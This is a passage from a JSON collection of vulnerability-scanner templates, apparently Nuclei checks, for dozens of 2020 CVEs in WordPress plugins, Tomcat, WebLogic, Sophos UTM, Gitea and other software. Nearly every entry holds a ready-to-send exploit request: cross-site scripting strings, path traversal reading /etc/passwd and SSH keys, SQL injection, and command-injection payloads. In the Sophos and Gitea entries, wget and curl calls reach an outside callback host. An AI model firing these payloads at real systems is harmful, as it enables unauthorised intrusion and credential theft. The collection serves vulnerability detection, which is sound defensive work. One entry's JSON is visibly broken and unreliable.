Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?action=post&order=bszop%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["&srt=yes","My Download"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-25540","info":{"name":"ThinkAdmin 6 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35774","info":{"name":"twitter-server Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27191","info":{"name":"LionWiki <3.2.12 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?page=&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-13700","info":{"name":"WordPresss acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["Content-Type: application/json"]},{"type":"word","part":"body","words":["acf-to-rest-api\\/class-acf-to-rest-api.php"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-29284","info":{"name":"Sourcecodester Multi Restaurant Table Reservation System 1.0 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+-"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=6"]},{"type":"word","part":"body","words":["Restaurent Tables","Chair List"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27735","info":{"name":"Wing FTP 6.4.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/help/english/index.html?javascript:alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-9484","info":{"name":"Apache Tomcat Remote Command Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.jsp"],"headers":{"Cookie":"JSESSIONID=../../../../../usr/local/tomcat/groovy"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Exception","ObjectInputStream","PersistentManagerBase"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-26258","info":{"name":"XStream <1.4.15 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n \n 0\n \n \n \n http://{{interactsh-url}}/internal/:\n \n \n \n 0\n \n \n test\n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Java"]}]}]},{"id":"CVE-2020-8654","info":{"name":"EyesOfNetwork 5.1-5.3 - SQL Injection/Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/css/eonweb.css"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 5.4', '>= 5.1')"]},{"type":"word","part":"body","words":["EyesOfNetwork"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["# VERSION : ([0-9.]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-16846","info":{"name":"SaltStack <=3002 - Shell Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/run"],"body":"token=1337&client=ssh&tgt=*&fun=a&roster={{roaster}}&ssh_priv={{priv}}","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["regex(\"CherryPy\\/([0-9.]+)\", header) || regex(\"CherryPy ([0-9.]+)\", body)"]},{"type":"word","part":"body","words":["An unexpected error occurred"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-26153","info":{"name":"Event Espresso Core-Reg 4.10.7.p - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/event-espresso-core-reg/admin_pages/messages/templates/ee_msg_admin_overview.template.php?page=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cb"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"/>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-7107","info":{"name":"WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["'","var Display_FAQ_ID ="],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10547","info":{"name":"rConfig 3.9.4 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[project-discovery]"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11854","info":{"name":"Micro Focus UCMDB - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/ucmdb-api/connect"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HttpUcmdbServiceProviderFactoryImpl","ServerVersion=11.6.0"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-8512","info":{"name":"IceWarp WebMail Server <=11.4.4.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-25780","info":{"name":"Commvault CommCell - Local File Inclusion","severity":"high"},"requests":[{"method":"POST","path":["http://{{Host}}:81/SearchSvc/CVSearchService.svc"],"body":"\n \n \n \n c:/Windows/system.ini\n \n \n\n","headers":{"Cookie":"Login","soapaction":"http://tempuri.org/ICVSearchSvc/downLoadFile","content-type":"text/xml"},"matchers-condition":"and","matchers":[{"type":"word","words":["downLoadFileResult"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35985","info":{"name":"Rukovoditel <= 2.7.2 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=global_lists/lists&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-25223","info":{"name":"Sophos UTM Preauth - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /var HTTP/1.1\nHost: {{Hostname}}\nAccept: text/javascript, text/html, application/xml, text/xml, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nX-Prototype-Version: 1.5.1.1\nContent-Type: application/json; charset=UTF-8\nOrigin: {{BaseURL}}\nConnection: close\nReferer: {{BaseURL}}\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\n\n{\"objs\": [{\"FID\": \"init\"}], \"SID\": \"|wget http://{{interactsh-url}}|\", \"browser\": \"gecko_linux\", \"backend_version\": -1, \"loc\": \"\", \"_cookie\": null, \"wdebug\": 0, \"RID\": \"1629210675639_0.5000855117488202\", \"current_uuid\": \"\", \"ipv6\": true}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-12116","info":{"name":"Zoho ManageEngine OpManger - Arbitrary File Read","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nConnection: close\n","GET {{endpoint}}../../../../bin/.ssh_host_rsa_key HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nCache-Control: max-age=0\nConnection: close\nReferer: http://{{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \"BEGIN RSA PRIVATE KEY\")","status_code_2 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"endpoint","regex":["(?m)/cachestart/.*/jquery/"],"internal":true,"part":"body"}]}]},{"id":"CVE-2020-35749","info":{"name":"WordPress Simple Job Board <2.9.4 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-6637","info":{"name":"OpenSIS 7.3 - SQL Injection","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/account/index.php","{{BaseURL}}/opensis/index.php","{{BaseURL}}/index.php"],"body":"USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log=\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SQL STATEMENT:","UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')"],"condition":"and"},{"type":"word","part":"header","words":["text/html"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11738","info":{"name":"WordPress Duplicator 1.3.24 & 1.3.26 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd","{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["File Transfer","application/octet-stream","attachment; filename=\"(wp-config\\.php|passwd)\""],"condition":"and"},{"type":"regex","part":"body","regex":["root:.*:0:0:","define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-14883","info":{"name":"Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1\nHost: {{Hostname}}\nAccept-Language: en\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\n\ntest_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String result = new StringBuilder(\"{{str}}\").reverse().toString(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush(); currentThread.interrupt();')\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["ADMINCONSOLESESSION"]},{"type":"word","part":"body","words":["{{revstr}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2733","info":{"name":"JD Edwards EnterpriseOne Tools 9.2 - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/manage/fileDownloader?sec=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ACHCJK"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35580","info":{"name":"SearchBlox <9.2.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/searchblox/servlet/FileServlet?col=9&url=/etc/passwd"],"matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]}]}]},{"id":"CVE-2020-13405","info":{"name":"Microweber <1.1.20 - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /module/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}admin/view:modules/load_module:users\n\nmodule={{endpoint}}\n"],"payloads":{"endpoint":["users/controller","modules/users/controller","/modules/users/controller"]},"matchers":[{"type":"dsl","dsl":["contains(body,\"username\")","contains(body,\"password\")","contains(body,\"password_reset_hash\")","status_code==200","contains(header,\"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2020-26248","info":{"name":"PrestaShop Product Comments <4.2.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 20s\nGET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"average_grade\")"],"condition":"and"}]}]},{"id":"CVE-2020-16952","info":{"name":"Microsoft SharePoint - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["15\\.0\\.0\\.(4571|5275|4351|5056)","16\\.0\\.0\\.(10337|10364|10366)"],"condition":"or"},{"type":"regex","part":"header","regex":["(?i)(Microsoftsharepointteamservices:)"]},{"type":"status","status":[200,201],"condition":"or"}]}]},{"id":"CVE-2020-5776","info":{"name":"MAGMI - Cross-Site Request Forgery","severity":"high"},"requests":[{"raw":["POST /magmi/web/magmi_saveprofile.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nprofile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=\n","POST /magmi/web/magmi_run.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nConnection: close\n\nengine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update\n","GET /magmi/web/info.php HTTP/1.1\nHost: {{Hostname}}\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["PHP Extension","PHP Version"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11034","info":{"name":"GLPI <9.4.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?redirect=/\\/interact.sh/","{{BaseURL}}/index.php?redirect=//interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*?)$"]}]}]},{"id":"CVE-2020-23517","info":{"name":"Aryanic HighMail (High CMS) - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E","{{BaseURL}}/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["value=\"\">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11853","info":{"name":"Micro Focus Operations Bridge Manager <=2020.05 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/ucmdb-api/connect"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["HttpUcmdbServiceProviderFactoryImpl","ServerVersion=11.6.0"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27866","info":{"name":"NETGEAR - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /setup.cgi?todo=debug&x=currentsetting.htm HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Debug Enable!"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-27986","info":{"name":"SonarQube - Authentication Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/settings/values"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["email.smtp_host.secured","email.smtp_password.secured","email.smtp_port.secured","email.smtp_username.secured"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11930","info":{"name":"WordPress GTranslate <2.8.52 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/does_not_exist\"%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ealert(document.domain)","uri-translation"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-2096","info":{"name":"Jenkins Gitlab Hook <=1.4.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-5307","info":{"name":"PHPGurukul Dairy Farm Shop Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /dfsms/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=admin%27+or+%271%27+%3D+%271%27%3B+--+-&password=A&login=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["add-category.php"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2020-29597","info":{"name":"IncomCMS 2.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /incom/modules/uploader/showcase/script.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEJZt0IK73M2mAbt\n\n------WebKitFormBoundaryBEJZt0IK73M2mAbt\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"{{randstr_1}}.png\"\nContent-Type: text/html\n\n{{randstr_2}}\n------WebKitFormBoundaryBEJZt0IK73M2mAbt--\n","GET /upload/userfiles/image/{{randstr_1}}.png HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["{\"status\":\"1\",\"name\":\"{{randstr_1}}.png\"}"]},{"type":"word","part":"body_2","words":["{{randstr_2}}"]}]}]},{"id":"CVE-2020-25495","info":{"name":"Xinuo Openserver 5/6 - Cross-Site scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["

hello

"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-36365","info":{"name":"Smartstore <4.1.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2020-24579","info":{"name":"D-Link DSL 2888a - Authentication Bypass/Remote Command Execution","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nCookie: uid=6gPjT2ipmNz\n\nusername=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b\n","GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1\nHost: {{Hostname}}\nCookie: uid=6gPjT2ipmNz\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["nobody:[x*]:65534:65534","root:.*:0:0:"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-7943","info":{"name":"Puppet Server/PuppetDB - Sensitive Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/metrics/v1/mbeans"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["trapperkeeper"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-10770","info":{"name":"Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2020-14144","info":{"name":"Gitea 1.1.0 - 1.12.5 - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n","GET /repo/create HTTP/1.1\nHost: {{Hostname}}\n","POST /repo/create HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master\n","POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}\n","GET /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\n","POST /{{username}}/{{randstr}}/_new/master HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"body_1","words":["Gitea:"]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true},{"type":"regex","name":"auth_csrf","group":1,"regex":["name=\"_csrf\" content=\"(.*)\""],"internal":true},{"type":"regex","name":"last_commit","group":1,"regex":["name=\"last_commit\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2020-35987","info":{"name":"Rukovoditel <= 2.7.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/&action=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=0¬es=test\n"],"cookie-reuse":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2020-24949","info":{"name":"PHP-Fusion 9.03.50 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/infusions/downloads/downloads.php?cat_id=${system(ls)}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["infusion_db.php"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11710","info":{"name":"Kong Admin <=2.03 - Admin API Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Welcome to kong","configuration","kong_env"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19515","info":{"name":"qdPM 9.1 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/install/index.php?step=database_config&db_error="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","qdPM"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35338","info":{"name":"Wireless Multiplex Terminal Playout Server <=20.2.8 - Default Credential Detection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/server/"],"headers":{"Authorization":"Basic OnBva29u"},"matchers-condition":"and","matchers":[{"type":"word","words":["WMT Server playout"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-26214","info":{"name":"Alerta < 8.1.0 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/config"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 8.1.0')"]},{"type":"word","part":"body","words":["\"alarm_model\"","\"actions\"","\"severity\""],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"name\": \"Alerta ([0-9.]+)\""],"internal":true},{"type":"regex","group":1,"regex":["\"name\": \"Alerta ([0-9.]+)\""]}]}]},{"id":"CVE-2020-23015","info":{"name":"OPNsense <=20.1.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?url=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*?)$"]}]}]},{"id":"CVE-2020-12478","info":{"name":"TeamPass 2.1.27.36 - Improper Authentication","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/files/ldap.debug.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Get all LDAP params"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15148","info":{"name":"Yii 2 < 2.0.38 - Remote Code 